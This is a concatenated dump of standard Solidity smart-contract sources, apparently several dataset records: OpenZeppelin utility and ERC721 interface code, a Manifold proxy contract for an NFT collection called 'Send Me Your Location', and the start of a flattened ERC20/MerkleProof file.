* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Send Me Your Location
/// @author: manifold.xyz
import "./ERC721Creator.sol";
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// RAPTOGRAPHER // SMYL Part One //
// //
// //
// ' 1▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄11111111▄11▄▄▄▄▄▄▄▄▄▄11111111▄▄1111111▄▄11▄▄▄▄▄▄▄▄▄▄▄1111111▄111111111▄11▄▄▄▄▄▄▄▄▄▄▄11▄111111111▄11▄▄▄▄▄▄▄▄▄▄▄1111111▄111111111111▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄▄▄▄▄▄▄▄▄▄11▄▄11111111▄111111 //
// ' ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌111111▐░▌▐░░░░░░░░░░▌111111▐░░▌11111▐░░▌▐░░░░░░░░░░░▌11111▐░▌1111111▐░▌▐░░░░░░░░░░░▌▐░▌1111111▐░▌▐░░░░░░░░░░░▌11111▐░▌1111111111▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌111111▐░▌11111 //
// ' ▐░█▀▀▀▀▀▀▀▀▀1▐░█▀▀▀▀▀▀▀▀▀1▐░▌░▌11111▐░▌▐░█▀▀▀▀▀▀▀█░▌11111▐░▌░▌111▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀111111▐░▌1111111▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌1111111▐░▌▐░█▀▀▀▀▀▀▀█░▌11111▐░▌1111111111▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀1▐░█▀▀▀▀▀▀▀█░▌1▀▀▀▀█░█▀▀▀▀11▀▀▀▀█░█▀▀▀▀1▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌11111▐░▌11111 //
// ' ▐░▌1111111111▐░▌1111111111▐░▌▐░▌1111▐░▌▐░▌1111111▐░▌11111▐░▌▐░▌1▐░▌▐░▌▐░▌111111111111111▐░▌1111111▐░▌▐░▌1111111▐░▌▐░▌1111111▐░▌▐░▌1111111▐░▌11111▐░▌1111111111▐░▌1111111▐░▌▐░▌1111111111▐░▌1111111▐░▌11111▐░▌1111111111▐░▌11111▐░▌1111111▐░▌▐░▌▐░▌1111▐░▌11111 //
// ' ▐░█▄▄▄▄▄▄▄▄▄1▐░█▄▄▄▄▄▄▄▄▄1▐░▌1▐░▌111▐░▌▐░▌1111111▐░▌11111▐░▌1▐░▐░▌1▐░▌▐░█▄▄▄▄▄▄▄▄▄111111▐░█▄▄▄▄▄▄▄█░▌▐░▌1111111▐░▌▐░▌1111111▐░▌▐░█▄▄▄▄▄▄▄█░▌11111▐░▌1111111111▐░▌1111111▐░▌▐░▌1111111111▐░█▄▄▄▄▄▄▄█░▌11111▐░▌1111111111▐░▌11111▐░▌1111111▐░▌▐░▌1▐░▌111▐░▌11111 //
// ' ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌11▐░▌11▐░▌▐░▌1111111▐░▌11111▐░▌11▐░▌11▐░▌▐░░░░░░░░░░░▌11111▐░░░░░░░░░░░▌▐░▌1111111▐░▌▐░▌1111111▐░▌▐░░░░░░░░░░░▌11111▐░▌1111111111▐░▌1111111▐░▌▐░▌1111111111▐░░░░░░░░░░░▌11111▐░▌1111111111▐░▌11111▐░▌1111111▐░▌▐░▌11▐░▌11▐░▌11111 //
// ' 1▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀1▐░▌111▐░▌1▐░▌▐░▌1111111▐░▌11111▐░▌111▀111▐░▌▐░█▀▀▀▀▀▀▀▀▀1111111▀▀▀▀█░█▀▀▀▀1▐░▌1111111▐░▌▐░▌1111111▐░▌▐░█▀▀▀▀█░█▀▀111111▐░▌1111111111▐░▌1111111▐░▌▐░▌1111111111▐░█▀▀▀▀▀▀▀█░▌11111▐░▌1111111111▐░▌11111▐░▌1111111▐░▌▐░▌111▐░▌1▐░▌11111 //
// ' 1111111111▐░▌▐░▌1111111111▐░▌1111▐░▌▐░▌▐░▌1111111▐░▌11111▐░▌1111111▐░▌▐░▌11111111111111111111▐░▌11111▐░▌1111111▐░▌▐░▌1111111▐░▌▐░▌11111▐░▌1111111▐░▌1111111111▐░▌1111111▐░▌▐░▌1111111111▐░▌1111111▐░▌11111▐░▌1111111111▐░▌11111▐░▌1111111▐░▌▐░▌1111▐░▌▐░▌11111 //
// ' 1▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄1▐░▌11111▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌11111▐░▌1111111▐░▌▐░█▄▄▄▄▄▄▄▄▄11111111111▐░▌11111▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌111111▐░▌111111▐░█▄▄▄▄▄▄▄▄▄1▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄1▐░▌1111111▐░▌11111▐░▌111111▄▄▄▄█░█▄▄▄▄1▐░█▄▄▄▄▄▄▄█░▌▐░▌11111▐░▐░▌11111 //
// ' ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌111111▐░░▌▐░░░░░░░░░░▌111111▐░▌1111111▐░▌▐░░░░░░░░░░░▌1111111111▐░▌11111▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌1111111▐░▌11111▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌1111111▐░▌11111▐░▌11111▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌111111▐░░▌11111 //
// ' 1▀▀▀▀▀▀▀▀▀▀▀11▀▀▀▀▀▀▀▀▀▀▀11▀11111111▀▀11▀▀▀▀▀▀▀▀▀▀11111111▀111111111▀11▀▀▀▀▀▀▀▀▀▀▀111111111111▀1111111▀▀▀▀▀▀▀▀▀▀▀11▀▀▀▀▀▀▀▀▀▀▀11▀111111111▀1111111▀▀▀▀▀▀▀▀▀▀▀11▀▀▀▀▀▀▀▀▀▀▀11▀▀▀▀▀▀▀▀▀▀▀11▀111111111▀1111111▀1111111▀▀▀▀▀▀▀▀▀▀▀11▀▀▀▀▀▀▀▀▀▀▀11▀11111111▀▀111111 //
// ' 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 //
// //
// //
// //
// //
// //
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract SMYL is ERC721Creator {
constructor() ERC721Creator("Send Me Your Location", "SMYL") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-30
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-08
*/
// Sources flattened with hardhat v2.0.8 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/cryptography/[email protected]
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
